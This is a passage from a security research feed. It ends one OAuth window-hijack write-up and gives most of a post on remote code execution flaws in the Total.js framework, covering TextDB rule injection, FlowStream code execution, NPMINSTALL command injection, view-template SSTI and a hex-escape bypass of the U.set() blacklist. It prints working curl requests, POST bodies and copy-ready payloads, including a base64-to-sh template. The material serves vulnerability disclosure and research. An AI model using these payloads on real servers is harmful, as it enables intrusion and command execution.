      <td>Callback page sends auth data to <code class="language-plaintext highlighter-rouge">window.opener</code> (the victim’s app tab)</td>
    </tr>
    <tr>
      <td>8</td>
      <td>Victim’s app processes the response and <strong>links the attacker’s malicious addon to their workspace</strong></td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="and-now-after-the-attack-is-done-we-can-access-the-victim-workspace-configuration-workspace-users-pii-and-make-some-actions-that-will-affect-the-workspace-from-the-market-api-">And now after the attack is done. we can access the victim workspace configuration, Workspace users PII, and make some actions that will affect the workspace from the market API .</h3>

<p><em>The root cause is the use of a static, predictable string (<code class="language-plaintext highlighter-rouge">"addons-oauthWindow"</code>) as the <code class="language-plaintext highlighter-rouge">window.open</code> target name. Randomizing this value per-session would fully remediate the vulnerability.</em></p>

<p>-alienisgrinding</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Total.js RCE gadgets all around</title>
      <link>https://lab.ctbb.show/research/totaljs-rce-gadgets</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/totaljs-rce-gadgets</guid>
      <pubDate>Mon, 23 Feb 2026 00:00:00 +0000</pubDate>
      <author>Diyan Apostolov</author>
      <description>RCEs, RCEs...they are all around and Total.js framework will be in our scope this time</description>
      <content:encoded><![CDATA[<h1 id="overview">Overview</h1>
<p>In this article, I’ll walk you through some security vulnerabilities recently found in Total.js framework versions 4 and 5. If you’re not familiar with it, Total.js is a full-stack Node.js framework built entirely in pure JavaScript with zero external dependencies. That self-contained design is great for keeping your supply chain clean, but the framework itself has its share of serious security issues over the years, including code injection, prototype pollution, and sandbox escapes that chain nicely into Remote Code Execution (CVE-2020-28495, CVE-2021-23344, CVE-2021-31760).</p>

<p>There’s a lot more attack surface worth digging into here, but I picked a few RCE paths that caught my eye and went down the rabbit hole. If I had to pick a favorite one, I would go for the <code class="language-plaintext highlighter-rouge">U.set()</code>/<code class="language-plaintext highlighter-rouge">U.get()</code> path as the one that really got me excited ;)</p>

<p>Alright, enough intro, let’s dive into the findings.</p>

<h1 id="textdbnosql-query-builder">TextDB/NoSQL Query Builder</h1>

<p><strong>Description:</strong> The <code class="language-plaintext highlighter-rouge">.rule()</code> method in TextDB/NoSQL database allows arbitrary JavaScript filter expressions that are evaluated using <code class="language-plaintext highlighter-rouge">new Function()</code>. When user input reaches this method without sanitization, it results in Remote Code Execution.</p>

<p><strong>Location:</strong> <code class="language-plaintext highlighter-rouge">textdb-builder.js</code> / NoSQL query engine</p>
<h2 id="api-vs-internal-sinks">API vs Internal Sinks</h2>

<p>The vulnerability exists at two levels:</p>

<ul>
  <li><strong>Exposed API:</strong></li>
</ul>

<table>
  <thead>
    <tr>
      <th>Method</th>
      <th>Location</th>
      <th>Accepts</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.rule()</code></td>
      <td>textdb-wrapper.js:785</td>
      <td>Raw user code string</td>
    </tr>
  </tbody>
</table>

<ul>
  <li><strong>Internal QueryBuilder Sinks (Compile user code via <code class="language-plaintext highlighter-rouge">new Function()</code>):</strong></li>
</ul>

<table>
  <thead>
    <tr>
      <th>Method</th>
      <th>Location</th>
      <th>Fed By</th>
      <th>Direct Access?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">QueryBuilder.filter()</code></td>
      <td>textdb-builder.js:274</td>
      <td><code class="language-plaintext highlighter-rouge">.rule()</code> pushes to <code class="language-plaintext highlighter-rouge">options.filter</code></td>
      <td>No - internal</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">QueryBuilder.transform()</code></td>
      <td>textdb-builder.js:175</td>
      <td>No wrapper exposed</td>
      <td>No - internal</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">QueryBuilder.modify()</code></td>
      <td>textdb-builder.js:308</td>
      <td><code class="language-plaintext highlighter-rouge">.update()</code> builds safe code</td>
      <td>No*</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">QueryBuilder.scalar()</code></td>
      <td>textdb-builder.js:331</td>
      <td><code class="language-plaintext highlighter-rouge">.scalar()</code> builds safe code</td>
      <td>No - internal</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> <code class="language-plaintext highlighter-rouge">.update()</code>/<code class="language-plaintext highlighter-rouge">.modify()</code> wrapper has potential injection via <code class="language-plaintext highlighter-rouge">=</code> prefix: <code class="language-plaintext highlighter-rouge">db.update({'=field': 'PAYLOAD'})</code> concatenates value directly. Requires developer to pass user-controlled object.</p>
</blockquote>

<p><strong>Vulnerable Code Path:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// API Layer (textdb-wrapper.js)</span>
<span class="nx">db</span><span class="p">.</span><span class="nx">find</span><span class="p">().</span><span class="nx">rule</span><span class="p">(</span><span class="nx">userInput</span><span class="p">)</span>  <span class="c1">// Pushes raw code to options.filter</span>

<span class="c1">// Internal Sink (textdb-builder.js)</span>
<span class="nx">QueryBuilder</span><span class="p">.</span><span class="nx">filter</span><span class="p">()</span> <span class="err">→</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">'</span><span class="s1">doc</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">return </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">code</span><span class="p">)</span>  <span class="c1">// Executes!</span>
</code></pre></div></div>

<p>TotalJS attempted to protect these methods with a weak blacklist:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// textdb-builder.js:608-609</span>
<span class="kd">function</span> <span class="nx">isdangerous</span><span class="p">(</span><span class="nx">rule</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="sr">/require|global/</span><span class="p">).</span><span class="nx">test</span><span class="p">(</span><span class="nx">rule</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This only blocks the literal strings “require” and “global”. We bypass the blacklist using:</p>

<table>
  <thead>
    <tr>
      <th>Problem</th>
      <th>Solution</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>“global” blocked</td>
      <td>Use <code class="language-plaintext highlighter-rouge">doc.constructor.constructor</code> to get Function constructor</td>
    </tr>
    <tr>
      <td>“require” blocked</td>
      <td>Use <code class="language-plaintext highlighter-rouge">'req'+'uire'</code> string concatenation</td>
    </tr>
  </tbody>
</table>

<h2 id="rce-payloads">RCE Payloads</h2>

<h3 id="non-blind-rce">Non-Blind RCE</h3>

<p>The simplest and most powerful technique. Since <code class="language-plaintext highlighter-rouge">process</code> is available in the <code class="language-plaintext highlighter-rouge">.rule()</code> scope, only <code class="language-plaintext highlighter-rouge">require</code> needs to be bypassed. Command output is returned directly in the JSON response by assigning to a document property:</p>

<p><strong>Via curl (inline output):</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-G</span> <span class="s2">"http://localhost:8000/api/assets/search/"</span> <span class="se">\</span>
<span class="nt">--data-urlencode</span> <span class="s2">"filter=doc.type=process.mainModule['req'+'uire']('child_process').execSync('id').toString()"</span>
</code></pre></div></div>

<p><strong>Response:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"success"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nl">"count"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="nl">"data"</span><span class="p">:[{</span><span class="nl">"id"</span><span class="p">:</span><span class="s2">"..."</span><span class="p">,</span><span class="nl">"type"</span><span class="p">:</span><span class="s2">"uid=0(root) gid=0(root)...</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="err">...</span><span class="p">}]}</span><span class="w">
</span></code></pre></div></div>

<h3 id="blind-rce-alternative---file-write">Blind RCE (Alternative - File Write)</h3>

<p>Uses <code class="language-plaintext highlighter-rouge">doc.constructor.constructor</code> to access Function constructor when <code class="language-plaintext highlighter-rouge">process</code> is not directly usable:</p>

<p><strong>Via curl (write to file):</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-G</span> <span class="s2">"http://localhost:8000/api/assets/search/"</span> <span class="se">\</span>
<span class="nt">--data-urlencode</span> <span class="s2">"filter=doc.constructor.constructor('return process')().mainModule['req'+'uire']('child_process').execSync('id&gt;/tmp/pwned')"</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Note:</strong> Use <code class="language-plaintext highlighter-rouge">curl -G --data-urlencode</code> for proper URL encoding of the payload.</p>
</blockquote>

<h2 id="attack-flow">Attack Flow</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │          │ -----------------&gt;  │ GET /api/search?filter=... │   │
│   │ Crafted  │                     └────────────────────────────┘   │
│   │ Payload  │                                 │                    │
│   └──────────┘                                 ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  Controller extracts       │   │
│                                    │  filter from query params  │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  db.find().rule(filter)    │   │
│                                    │  [textdb-wrapper.js:785]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  options.filter.push(code) │   │
│                                    │  [stores raw user input]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  QueryBuilder.filter()     │   │
│                                    │  [textdb-builder.js:274]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  isdangerous() check:      │   │
│                                    │  /require|global/.test()   │   │
│                                    │                            │   │
│                                    │   × BYPASSED - doesn't     │   │
│                                    │    block 'process'         │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('doc',       │   │
│                                    │    'return ' + code)       │   │
│                                    │                            │   │
│                                    │ =&gt; PAYLOAD COMPILED        │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  Function executed for     │   │
│                                    │  each document in query    │   │
│                                    │                            │   │
│                                    │  doc.type = execSync('id') │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│   ┌──────────┐    HTTP Respons     ┌────────────────────────────┐   │
│   │ Command  │ &lt;------------------ │  {"data":[{"type":         │   │
│   │ Output   │                     │   "uid=0(root)..."}]}      │   │
│   └──────────┘                     └────────────────────────────┘   │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre></div></div>

<h1 id="flowstream-component">FlowStream Component</h1>

<p><strong>Description:</strong>
FlowStream is TotalJS’s visual flow-based automation system. The <code class="language-plaintext highlighter-rouge">flow.add()</code> method accepts component definitions containing arbitrary JavaScript code wrapped in <code class="language-plaintext highlighter-rouge">&lt;script total&gt;</code> tags. This code is executed via <code class="language-plaintext highlighter-rouge">new Function()</code> without sandboxing.</p>

<p><strong>Location:</strong> <code class="language-plaintext highlighter-rouge">flowstream.js:677</code>, <code class="language-plaintext highlighter-rouge">flowstream.js:1842</code></p>

<p><strong>Vulnerable Code:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// flowstream.js:677</span>
<span class="nx">declaration</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">'</span><span class="s1">instance</span><span class="dl">'</span><span class="p">,</span> <span class="nx">declaration</span><span class="p">);</span>

<span class="c1">// flowstream.js:1842</span>
<span class="nx">fn</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">'</span><span class="s1">exports</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">require</span><span class="dl">'</span><span class="p">,</span> <span class="nx">node</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Exploitation:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/automations/components/
Content-Type: application/json

<span class="o">{</span>
<span class="s2">"name"</span>: <span class="s2">"pwned"</span>,
<span class="s2">"component"</span>: <span class="s2">"&lt;script total&gt;require('child_process').execSync('id &gt; /tmp/pwned');exports.make=function(){};&lt;/script&gt;"</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="attack-flow-1">Attack Flow</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  POST    │ -----------------&gt;  │ POST /api/automations/     │   │
│   │  JSON    │                     │      components/           │   │
│   │  Body    │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│        │ {                         ┌────────────────────────────┐   │
│        │  "name":"pwned",          │  Controller receives JSON  │   │
│        │  "component":"&lt;script     │  body with component def   │   │
│        │   total&gt;require(...)      └────────────────────────────┘   │
│        │   &lt;/script&gt;"                           │                   │
│        │ }                                      ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  flow.add(name, component) │   │
│                                    │  [controller calls API]    │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  FP.register()             │   │
│                                    │  [flowstream.js:662]       │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('instance',  │   │
│                                    │    declaration)            │   │
│                                    │  [flowstream.js:677]       │   │
│                                    │                            │   │
│                                    │ =&gt; PAYLOAD COMPILED        │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('exports',   │   │
│                                    │    'require', node)        │   │
│                                    │  [flowstream.js:1842]      │   │
│                                    │                            │   │
│                                    │  require() passed directly!│   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  require('child_process')  │   │
│                                    │  .execSync('id &gt; /tmp/x')  │   │
│                                    │                            │   │
│                                    │ =&gt; COMMAND EXECUTION       │   │
│   ┌──────────┐    HTTP Response    └────────────────────────────┘   │
│   │ Success  │ &lt;-----------------  {"success":true}                 │
│   └──────────┘                                                      │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre></div></div>

<h1 id="npminstall-command-injection-via-flowstream">NPMINSTALL Command Injection (via FlowStream)</h1>

<p><strong>Description:</strong>
The <code class="language-plaintext highlighter-rouge">NPMINSTALL()</code> function concatenates user input directly into a shell command without sanitization. While not directly exposed via HTTP routes, it is called by FlowStream when components specify npm dependencies via <code class="language-plaintext highlighter-rouge">exports.npm</code>. This creates an exploitable chain through FlowStream component registration.</p>

<p><strong>Location:</strong> <code class="language-plaintext highlighter-rouge">index.js:395</code></p>

<p><strong>Vulnerable Code:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// index.js:395</span>
<span class="nx">F</span><span class="p">.</span><span class="nx">Child</span><span class="p">.</span><span class="nx">exec</span><span class="p">(</span><span class="dl">'</span><span class="s1">npm install </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">name</span><span class="p">,</span> <span class="nx">args</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">response</span><span class="p">,</span> <span class="nx">output</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">callback</span> <span class="o">&amp;&amp;</span> <span class="nx">callback</span><span class="p">(</span><span class="nx">err</span> <span class="p">?</span> <span class="p">(</span><span class="nx">output</span> <span class="o">||</span> <span class="nx">err</span><span class="p">)</span> <span class="p">:</span> <span class="kc">null</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Attack Chain:</strong></p>
<ol>
  <li>FlowStream component registration (<code class="language-plaintext highlighter-rouge">flow.add()</code>)</li>
  <li>Component sets <code class="language-plaintext highlighter-rouge">exports.npm = ["malicious; command"]</code></li>
  <li>FlowStream iterates npm array and calls <code class="language-plaintext highlighter-rouge">NPMINSTALL()</code> for each</li>
  <li>Shell command injection achieved</li>
</ol>

<p><strong>Exploitation:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/automations/components/
Content-Type: application/json

<span class="o">{</span>
<span class="s2">"name"</span>: <span class="s2">"pwned"</span>,
<span class="s2">"component"</span>: <span class="s2">"&lt;script total&gt;exports.npm=[</span><span class="se">\"</span><span class="s2">x]||id&gt;/tmp/npm_pwned||[</span><span class="se">\"</span><span class="s2">];exports.make=function(){};&lt;/script&gt;"</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>Shell execution:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm <span class="nb">install </span>x]||id&gt;/tmp/npm_pwned||[
<span class="c">#            ↑ fails, then || executes next command</span>
</code></pre></div></div>

<h2 id="attack-flow-2">Attack Flow</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  POST    │ -----------------&gt;  │ POST /api/automations/     │   │
│   │  JSON    │                     │      components/           │   │
│   │  Body    │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│        │ {                         ┌────────────────────────────┐   │
│        │  "component":"&lt;script     │  Component registered      │   │
│        │   total&gt;exports.npm=      │  with malicious npm deps   │   │
│        │   ['x||id&gt;/tmp/pwned']    └────────────────────────────┘   │
│        │   &lt;/script&gt;"                           │                   │
│        │ }                                      ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  FlowStream processes      │   │
│                                    │  exports.npm array         │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  NPMINSTALL() called for   │   │
│                                    │  each npm dependency       │   │
│                                    │  [index.js:395]            │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  F.Child.exec(             │   │
│                                    │    'npm install ' + name)  │   │
│                                    │                            │   │
│                                    │  No sanitization!          │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Shell executes:           │   │
│                                    │  npm install x||id&gt;/tmp..  │   │
│                                    │              ↑             │   │
│                                    │  npm fails, then id runs!  │   │
│                                    │                            │   │
│                                    │ =&gt; COMMAND INJECTION       │   │
│                                    └────────────────────────────┘   │
│                                    /tmp/pwned contains 'uid=0..'    │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre></div></div>

<h1 id="view-engine-ssti">View Engine SSTI</h1>

<p><strong>Description:</strong>
TotalJS view templates use <code class="language-plaintext highlighter-rouge">@{expression}</code> syntax. During compilation, these expressions are concatenated into a JavaScript function string and executed via <code class="language-plaintext highlighter-rouge">eval()</code>. If an attacker can write to view files(./views/) (via path traversal or file upload vulnerability), they achieve RCE when the view is rendered. (same logic as in my previous CT Research Lab article related to ASP.NET MVC View Engine and Write Path Traversal to a RCE Art Department)</p>

<p><strong>Location:</strong> <code class="language-plaintext highlighter-rouge">internal.js:1138</code></p>

<p><strong>Vulnerable Code:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// internal.js:1136-1138</span>
<span class="kd">var</span> <span class="nx">fn</span> <span class="o">=</span> <span class="p">(</span><span class="dl">'</span><span class="s1">(function(self,repository,model,...){</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">builder</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">;return $output;})</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">fn</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="nx">fn</span><span class="p">);</span>  <span class="c1">// Executes compiled template</span>
</code></pre></div></div>

<p><strong>Attack Chain:</strong></p>
<ol>
  <li>Exploit file write vulnerability (path traversal, arbitrary upload, etc.)</li>
  <li>Write malicious view to <code class="language-plaintext highlighter-rouge">/views/</code> directory:
    <pre><code class="language-Payload">@{process.mainModule.require('child_process').execSync('id &gt; /tmp/pwned')}
</code></pre>
  </li>
  <li>Trigger HTTP request that renders the view</li>
  <li>RCE achieved during view compilation</li>
</ol>

<h2 id="attack-flow-3">Attack Flow</h2>

<pre><code class="language-AttackFlow">┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐                     ┌────────────────────────────┐   │
│   │  Step 1  │ -----------------&gt;  │ Exploit file write vuln    │   │
│   │  Write   │   Path Traversal    │ (upload, path traversal)   │   │
│   │  View    │   or File Upload    └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│        │                                        ▼                   │
│        │ @{process.mainModule      ┌────────────────────────────┐   │
│        │   .require('child_...')   │  Malicious view written    │   │
│        │   .execSync('id')}        │  to /views/evil.html       │   │
│        │                           └────────────────────────────┘   │
│        │                                                            │
│        ▼                                                            │
│   ┌──────────┐                     ┌────────────────────────────┐   │
│   │  Step 2  │ -----------------&gt;  │ GET /evil                  │   │
│   │  Trigger │   HTTP Request      │ (triggers view render)     │   │
│   │  Render  │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  this.view('evil')         │   │
│                                    │  [controller renders]      │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  viewEngineCompile()       │   │
│                                    │  [internal.js]             │   │
│                                    │                            │   │
│                                    │  Parses @{...} expressions │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  fn = eval('(function...'  │   │
│                                    │    + builder + '...)')     │   │
│                                    │  [internal.js:1138]        │   │
│                                    │                            │   │
│                                    │ =&gt; PAYLOAD IN EVAL         │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│   ┌──────────┐    HTTP Response    ┌────────────────────────────┐   │
│   │ Command  │ &lt;-----------------  │  RCE during compilation    │   │
│   │ Executed │                     │  Command output in page    │   │
│   └──────────┘                     └────────────────────────────┘   │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>

<h1 id="usetuget--blacklist-bypass">U.set()/U.get()  BlackList Bypass</h1>

<p><strong>Description:</strong>
The <code class="language-plaintext highlighter-rouge">U.set()</code> and <code class="language-plaintext highlighter-rouge">U.get()</code> utility functions dynamically create property accessors using <code class="language-plaintext highlighter-rouge">new Function()</code>. This was a <strong>known RCE vulnerability reported by Snyk</strong> and “fixed” with a regex blacklist. <strong>I have successfully bypassed this blacklist using JavaScript hex escapes and tagged template literals.</strong></p>

<blockquote>
  <p><strong>SNYK VULNERABILITY BYPASS</strong></p>

  <p>This vulnerability was originally discovered and reported by <strong>Snyk</strong> (https://snyk.io/vuln).
TotalJS attempted to fix it by adding a regex blacklist.</p>

  <p>TotalJS Changelog reference:</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- fixed potential remote code execution in `U.set()` founded by Snyk
</code></pre></div>  </div>
</blockquote>

<p><strong>Location:</strong> <code class="language-plaintext highlighter-rouge">utils.js:7225-7272</code></p>

<p><strong>The Blacklist</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// utils.js:7231, 7259</span>
<span class="k">if</span> <span class="p">((</span><span class="sr">/__proto__|constructor|prototype|eval|function|</span><span class="se">\*</span><span class="sr">|</span><span class="se">\+</span><span class="sr">|;|</span><span class="se">\s</span><span class="sr">|</span><span class="se">\(</span><span class="sr">|</span><span class="se">\)</span><span class="sr">|!/</span><span class="p">).</span><span class="nx">test</span><span class="p">(</span><span class="nx">path</span><span class="p">))</span>
<span class="k">return</span><span class="p">;</span>  <span class="c1">// Attempts to block dangerous input</span>
</code></pre></div></div>

<h2 id="the-bypass-technique">The Bypass Technique</h2>

<p>The blacklist tests the <strong>raw string</strong> before it’s processed. JavaScript hex escapes (<code class="language-plaintext highlighter-rouge">\xNN</code>) pass the regex test as literal backslash characters, but when the string is used in <code class="language-plaintext highlighter-rouge">new Function()</code>, they are interpreted as the actual characters.</p>

<table>
  <thead>
    <tr>
      <th>Blocked Char</th>
      <th>Hex Escape</th>
      <th>Regex Sees</th>
      <th>Function Gets</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">(</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x28</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x28</code> (passes)</td>
      <td><code class="language-plaintext highlighter-rouge">(</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">)</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x29</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x29</code> (passes)</td>
      <td><code class="language-plaintext highlighter-rouge">)</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">'</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x27</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x27</code> (passes)</td>
      <td><code class="language-plaintext highlighter-rouge">'</code></td>
    </tr>
    <tr>
      <td>space</td>
      <td><code class="language-plaintext highlighter-rouge">\x20</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x20</code> (passes)</td>
      <td>` `</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x2d</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x2d</code> (passes)</td>
      <td><code class="language-plaintext highlighter-rouge">-</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x2e</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x2e</code> (passes)</td>
      <td><code class="language-plaintext highlighter-rouge">.</code></td>
    </tr>
  </tbody>
</table>

<p><strong>Tagged Template Literals</strong></p>

<p>To complete our bypass we will use tagged template literals. JavaScript tagged template syntax Function`code``` creates and immediately invokes a function without using parentheses. Combined with hex escapes, this provides a complete bypass.</p>

<h3 id="rce-payloads-via-tostring">RCE Payloads (via `.toString())</h3>

<p><strong>Running <code class="language-plaintext highlighter-rouge">id</code>:</strong></p>
<pre><code class="language-Payload">['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27id\x27\x29[\x27toString\x27]\x28\x29```
</code></pre>

<p><strong>Read <code class="language-plaintext highlighter-rouge">/etc/passwd</code>:</strong></p>
<pre><code class="language-Payload">['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27fs\x27\x29[\x27readFileSync\x27]\x28\x27/root/proof\x2etxt\x27\x29[\x27toString\x27]\x28\x29```
</code></pre>

<p><strong>Base64 encoded payloads (for complex commands)</strong></p>

<p>Use base64 when your command contains special characters that need escaping…for example a simple <code class="language-plaintext highlighter-rouge">.</code> is a special char in the framework context (hex or base64?… bs64 is safer due to a view layers of payload parsing thus your hex encoded payload might be decoded at unwated stage during processing)</p>

<p><strong>Template, just replace BASE64_HERE with your payload</strong></p>
<pre><code class="language-Payload">['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27echo\x20BASE64_HERE|base64\x20\x2dd|sh\x27\x29[\x27toString\x27]\x28\x29```
</code></pre>

<p><strong>Example - Run <code class="language-plaintext highlighter-rouge">id</code> via base64:</strong></p>
<pre><code class="language-Payload"># Encode: echo -n 'id' | base64 = aWQ=
['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27echo\x20aWQ=|base64\x20\x2dd|sh\x27\x29[\x27toString\x27]\x28\x29```
</code></pre>

<p><strong>Side Question: Why Direct <code class="language-plaintext highlighter-rouge">require</code> Fails?</strong>
Inside <code class="language-plaintext highlighter-rouge">new Function()</code>, there’s no <code class="language-plaintext highlighter-rouge">require</code> in scope. We must access it via:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">global.process.mainModule.require()</code></li>
  <li>Or <code class="language-plaintext highlighter-rouge">global['process']['mainModule']['require']()</code> with bracket notation</li>
</ul>

<h3 id="attack-flow-4">Attack Flow</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  GET     │ ─────────────────&gt;  │ GET /api/config/?path=     │   │
│   │  with    │                     │   ['x']||Function`...`     │   │
│   │  payload │                     └────────────────────────────┘   │
